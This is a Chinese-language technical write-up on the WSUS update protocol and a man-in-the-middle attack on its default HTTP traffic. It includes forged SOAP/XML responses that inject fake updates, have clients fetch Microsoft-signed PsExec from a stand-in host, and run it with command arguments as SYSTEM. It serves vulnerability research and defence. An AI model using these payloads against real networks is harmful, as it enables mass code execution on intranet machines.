WSUS是Windows Server Update Services的簡稱。利用這個windows服務,管理員只需要保證局域網中的一臺主機能夠連接到MicroSoftUpdate服務器,就能實現內網中所所有主機快速地進行windows更新。
簡而言之,內網中的WSUS服務器就是windows官方更新服務器的代理。WSUS服務器通過互聯網取得官方的windows update,并且緩存到本地。管理員只需要在wsus上選擇哪些補丁需要更新,就能通過HTTP/HTTPS協議快速地將各種ms-2015-***|||*部署到內網中的其他服務器中去,這樣即使是由于種種原因不能暴露在英特網中的內網主機(比如oracle數據庫服務器)也能通過WSUS及時下載補丁,大大增加了內網的安全性,實現了細粒化管理。所以很多中大型網絡都會部署wsus服務器來實現內網安全加固。
由于wsus是基于c/s模式的,所以server和client我們都需要進行配置。 client機器上在注冊表中存儲了wsus服務器的地址
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\W UServer
比如存儲的內容可能是這樣的 http://wsus01:8530
. Port 8530 是wsus部署的默認端口。
wsus利用SOAP XML實現c/s之間的通信,當client主機首次連入wsus-server的時候,會有一個這樣的注冊過程。
一旦完成了這樣的注冊流程,client主機就能進行定時更新檢查了。(只要上述的cookies不過期)
這里我們詳細分析一下每一個請求
SOAP Call 請求 響應
SyncUpdates (硬件驅動) 本機硬件列表 可更新的驅動列表
SyncUpdates (軟件) 已經安裝的更新的id列表 新可用更新列表以及metadata
GetExtendedUpdateInfo 具體地update id 對應此id的詳盡的metadata,包括下載地址,hash..
可以看到wsus服務其實非常好理解:
一個SyncUpdates到wsus服務器獲取可更新的id以及id對應的一些解釋數據,本機通過這些解釋數據決定安裝哪個(些)補丁,并且發送GetExtendedUpdateInfo,獲得詳細的信息進行安裝。
下面是一個SyncUpdates響應的例子
#!xml
<UpdateIdentity UpdateID="53979536-176e-46c2-9f61-bcf68381c065" RevisionNumber="206" />
<Properties UpdateType="Software" />
<Relationships>
<Prerequisites>
<UpdateIdentity UpdateID="59653007-e2e9-4f71-8525-2ff588527978" /> <UpdateIdentity UpdateID="71c1e8bb-9a5d-4e56-a456-10b0624c7188" /> </Prerequisites>
</Relationships>
<ApplicabilityRules>
<IsInstalled>
<b.FileVersion Version="6.1.7601.22045" Comparison="GreaterThanOrEqualTo"
Path="\conhost.exe" Csidl="37" />
</IsInstalled>
<IsInstallable>
<Not>
<CbsPackageInstalledByIdentity
PackageIdentity="InternetExplorer-Package~11.2.9600.16428" /> </Not>
</IsInstallable>
那么一旦client決定了要裝哪些更新就會再發一個GetExtenedUpdateInfo到wsus-server
#!xml
<soap:Envelope><soap:Body>
<GetExtendedUpdateInfo>
<cookie>首次連接注冊的cookies</cookie>
<revisionIDs>
<int>13160722</int>
<int>16753458</int>
<int>17212691</int>
<int>17212692</int>
</revisionIDs>
<infoTypes>
<XmlUpdateFragmentType>Extended</XmlUpdateFragmentType> <XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType> <XmlUpdateFragmentType>Eula</XmlUpdateFragmentType> </infoTypes> <locales>
<string>en-US</string>
<string>en</string> </locales>
</GetExtendedUpdateInfo>
</soap:Body></soap:Envelope>
wsus接著給出響應
#!xml
<soap:Envelope><soap:Body>
<GetExtendedUpdateInfoResponse><GetExtendedUpdateInfoResult> <Updates>
<Update>
<ID>17212691</ID>
<Xml><ExtendedProperties...</HandlerSpecificData></Xml> </Update>
<Update>
<ID>17212692</ID>
<Xml><ExtendedProperties...</HandlerSpecificData></Xml> </Update>
... </Updates>
<FileLocations>
<FileLocation>
<FileDigest>tXa3bCw4XzkLd/Fyfs2ATZcYgh8=</FileDigest>
<Url>http://wsus-server:8530/Content/1F/B576B76C2C385F39.cab</Url> </FileLocation>
<FileLocation>
<FileDigest>OzTUyOLCmjlK08U2VJNHw3rfpzQ=</FileDigest>
<Url>http://wsus-server:8530/Content/34/3B34D4C8E2C29A39.cab</Url> </FileLocation> </FileLocations>
</GetExtendedUpdateInfoResult>
</GetExtendedUpdateInfoResponse>
</soap:Body></soap:Envelope>
需要說明的是,每一個update標簽就是一個更新線程,然而最為重要的metadada標簽
#!xml
<ExtendedProperties DefaultPropertiesLanguage="en" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/WindowsInstaller" MaxDownloadSize="3077548" MinDownloadSize="0">
<InstallationBehavior RebootBehavior="CanRequestReboot" />
<UninstallationBehavior />
</ExtendedProperties>
<Files>
<File Digest="OzTUyOLCmjlK08U2VJNHw3rfpzQ=" DigestAlgorithm="SHA1" FileName="infopath-x-none.cab" Size="3077548" Modified="2013-12-18T21:44:08.38Z" PatchingType="SelfContained">
<AdditionalDigest Algorithm="SHA256">FS28f... ohVcFKbaG4=</AdditionalDigest>
</File>
</Files>
<HandlerSpecificData type="msp:WindowsInstaller">
<MspData CommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0 NOLOCALCACHEROLLBACK=1"
UninstallCommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0
NOLOCALCACHEROLLBACK=1"
FullFilePatchCode="{39767eca-1731-45db-ab5b-6bf40e151d66}" />
</HandlerSpecificData>
其中<HandlerSpecificData>
標簽指定了目標程序由哪個handler來進行安裝。 windows提供了如下幾種handler供指定
其中CommandLineInstallation這個handler允許單個可執行文件加任意參數被運行。適合我們的目的
所以,這里我們關注這個handler進行討論
二話不說先給出一個<xml>
標簽實例,這是安裝 Malicious Software Removal tool(微軟公司出品的,用于檢測和刪除特殊流行的惡意軟件的工具)的Metadata
#!xml
<ExtendedProperties DefaultPropertiesLanguage="en"
Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/ CommandLineInst allation"
MaxDownloadSize="41837240" MinDownloadSize="0">
<InstallationBehavior RebootBehavior="CanRequestReboot" />
</ExtendedProperties>
<Files>
<File Digest="sJRqIvCrdbpZvP18wDS2HbwhFUE=" DigestAlgorithm="SHA1" FileName="Windows-KB890830-x64-V5.22.exe"
Size="41837240" Modified="2015-02-27T15:54:52Z">
<AdditionalDigest Algorithm="SHA256">robj...WY0=</AdditionalDigest> </File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
<InstallCommand Arguments="/Q /W" Program="Windows-KB890830-x64-V5.22.exe" RebootByDefault="false" DefaultResult="Succeeded">
<ReturnCode Reboot="true" Result="Succeeded" Code="3010" /> <ReturnCode Reboot="false" Result="Failed" Code="1603" /> <ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
</InstallCommand>
</HandlerSpecificData>
其中具體的安裝過程就在<InstallCommand>
那兒了
將整個wsus流程分析清楚了。我們再來考慮一下基于wsus的安全問題,不知道大家是否注意到,前文曾經提到過
管理員只需要在wsus上選擇哪些補丁需要更新,就能通過HTTP/HTTPS協議快速地將各種ms-2015-***|||*部署到內網中的其他服務器中去
而http協議在內網中簡直就是毒藥。 最令人遺憾的是,截止到最新的版本,wsus依然使用http作為默認的同學協議,只是在安裝完畢的wizard界面向管理員建議部署ssl通信(誰會去看那個?)
所以我們完全有能力在內網中通過中間人篡改metadata實現攻擊(以system權限)。而且攻擊一定會奏效,因為wsus部署好之后,client的update check是定期的,所以肯定能夠偽造一個新更新,迫使用戶安裝。
可惜如果你們覺得通過中間人篡改metadata就能裝個驅動馬到主機上,那就too young了。
MSDN上面有這么一段話
All update packages that are downloaded by Windows Update are signed with a Microsoft signature.(所有更新包必須帶有微軟簽名才能被下載并安裝)
所以現在有兩種辦法來解決問題
恩。。我們直接想第二種辦法。 windows Update會驗證每個更新是否被微軟公司簽名,然而,簽名證書并不需要指明是用來“windows update” 這就是說,任何被微軟簽名的可執行程序都能被作為更新包被安裝并運行。
想象一下,假如我們能夠偽造一個cmd.exe的更新呢,加上前面又提到,在xml標簽里面是可以指定運行參數的,那我們就能夠通過中間人執行任意命令了!
冷靜冷靜,我們的微軟并沒有給cmd.exe簽名。
但是psExec確乎是被微軟簽名了,psexec的作用這里不解釋,大家都懂
所以我們完全有能力將psexec運行在NT AUTHORITY\SYSTEM下。所以,pwned~
這是一個沒有經過篡改的SyncUpdate 響應(用來告訴client現在有哪些更新可用)
#!xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<SyncUpdatesResponse
xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ ClientWebService ">
<SyncUpdatesResult>
<NewUpdates></NewUpdates>
<Truncated>false</Truncated> <NewCookie>
<Expiration>2015-07-17T10:06:59Z</Expiration>
<EncryptedData>qIbM...RtXw0VdZg==</EncryptedData> </NewCookie> <DriverSyncNotNeeded>false</DriverSyncNotNeeded>
</SyncUpdatesResult>
</SyncUpdatesResponse>
</soap:Body></soap:Envelope>
而我們的通過在上面為空的NewUpdates標簽中插入內容,就能偽造更新
通過大量測試我們發現一個windows update需要兩個<UpdateInfo>
元素,其中一個必須含有<Action>Install</Action>
標簽,另一個必須含有<Action>Bundle</Action>
標簽,install標簽提供了更新標題諸如此類的,而bundle標簽則提供更新文件。
#!xml
<NewUpdates> <!-- Start of injected content -->
<UpdateInfo>
<ID>17999990</ID> <Deployment>
<ID>899990</ID>
<Action>Bundle</Action>
<IsAssigned>true</IsAssigned>
<LastChangeTime>2015-04-15</LastChangeTime>
<AutoSelect>0</AutoSelect>
<AutoDownload>0</AutoDownload>
<SupersedenceBehavior>0</SupersedenceBehavior> <FlagBitmask>0</FlagBitmask>
</Deployment>
<IsLeaf>true</IsLeaf>
<Xml>
<!-- This would XML-encoded inside the Xml tag -->
<UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" />
<Properties UpdateType="Software" />
<Relationships>
<Prerequisites>
<UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" />
</Prerequisites>
</Relationships>
<ApplicabilityRules>
<IsInstalled>
<b.FileExists Csidl="41" Path="\15151245.exe" /> <!-- This file shouldn't
exist -->
</IsInstalled>
<IsInstallable>
<b.FileExists Csidl="41" Path="\mswsock.dll" /> <!-- This does exist -->
</IsInstallable>
</ApplicabilityRules>
</Xml>
</UpdateInfo>
<UpdateInfo>
<ID>17999991</ID>
<Deployment>
<ID>899991</ID>
<Action>Install</Action>
<IsAssigned>true</IsAssigned>
<LastChangeTime>2015-04-15</LastChangeTime>
<AutoSelect>0</AutoSelect> <!-- This must be 0 according to docs, WU
ignores it --> <AutoDownload>0</AutoDownload> <!-- same -->
<SupersedenceBehavior>0</SupersedenceBehavior>
<FlagBitmask>0</FlagBitmask>
</Deployment>
<IsLeaf>true</IsLeaf>
<Xml>
<!-- This should be XML encoded inside the Xml tag -->
<UpdateIdentity UpdateID="853ea117-355b-4c1e-96ce-fab9c977a8e7"
RevisionNumber="201" />
<Properties UpdateType="Software" ExplicitlyDeployable="true"
AutoSelectOnWebSites="true"/>
<Relationships>
<Prerequisites>
<UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" /> <!--
Requires Windows 10 -->
</Prerequisites>
<BundledUpdates>
<UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" />
</BundledUpdates>
</Relationships>
</Xml> </UpdateInfo> <!-- End of injected content -->
</NewUpdates>
于是乎,client會就剛剛兩個id發出GetExtendedUpdateInfo請求,要求wsus服務器返回詳細的安裝消息
#!xml
<revisionIDs>
<int>17999990</int>
<int>17999991</int>
</revisionIDs>
<infoTypes>
<XmlUpdateFragmentType>Extended</XmlUpdateFragmentType>
<XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType>
</infoTypes>
中間人這時再次將請求包中的兩個id剔除,以免wusu服務器因為不存在的更新報錯。當wsus服務器響應之后,我們再將響應內容篡改,這次我們加入四個更新標簽
#!xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body><GetExtendedUpdateInfoResponse
xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<GetExtendedUpdateInfoResult>
<Updates>
<Update>
<ID>17999990</ID>
<Xml>
<!-- This should be XML encoded inside the Xml tag -->
<ExtendedProperties DefaultPropertiesLanguage="en"
Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineI
nstallation"
MaxDownloadSize="847040" MinDownloadSize="0">
<InstallationBehavior RebootBehavior="NeverReboots" />
</ExtendedProperties>
<Files>
<File Digest="HO4/qEGb30y8JmRhJ34/3ZuT3iU=" DigestAlgorithm="SHA1"
FileName="PsExec.exe" Size="847040" Modified="2015-02-27T15:54:52Z">
<AdditionalDigest
Algorithm="SHA256">A2LNbnsxirmkx02vIp8Ru3laLOVT6gJMtJFDRWwnxB0=</AdditionalDig
est>
</File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
<InstallCommand Arguments="/accepteula cmd /c calc.exe"
Program="Windows-KB890830-V5.22.exe"
RebootByDefault="false" DefaultResult="Succeeded">
<ReturnCode Reboot="true" Result="Succeeded" Code="3010" />
<ReturnCode Reboot="false" Result="Failed" Code="1603" />
<ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
</InstallCommand>
</HandlerSpecificData>
</Xml>
</Update>
<Update>
<ID>17999991</ID>
<Xml>
<!-- This should be XML encoded inside the Xml tag -->
<ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important"
IsBeta="false">
<SupportUrl>http://support.microsoft.com</SupportUrl>
<SecurityBulletinID>MS15-041</SecurityBulletinID>
<KBArticleID>3037581</KBArticleID>
</ExtendedProperties>
</Xml>
</Update>
<Update>
<ID>17999990</ID>
<Xml>
<!-- This should be XML encoded inside the Xml tag -->
<LocalizedProperties>
<Language>en</Language>
<Title>anything-in-here</Title>
</LocalizedProperties>
</Update>
</Xml>
<Update>
<ID>17999991</ID>
<Xml>
<!-- This should be XML encoded inside the Xml tag -->
<LocalizedProperties>
<Language>en</Language>
<Title>A fake update</Title>
<Description>Will do bad things</Description>
<UninstallNotes>...</UninstallNotes>
<MoreInfoUrl>http://support.microsoft.com/kb/3037581</MoreInfoUrl>
<SupportUrl>http://support.microsoft.com</SupportUrl>
</LocalizedProperties>
</Xml>
</Update>
</Updates>
<FileLocations>
<FileLocation>
<FileDigest>HO4/qEGb30y8JmRhJ34/3ZuT3iU=</FileDigest>
<Url>**http://fake-updates/ClientWebService/psexec/BgInfo.exe**</Url>
</FileLocation>
</FileLocations>
</GetExtendedUpdateInfoResult></GetExtendedUpdateInfoResponse>
一旦client機收到這個響應,就會根據更新類型自動或提醒用戶安裝。比如在上例中,就能啟動一個帶參運行的Psexec。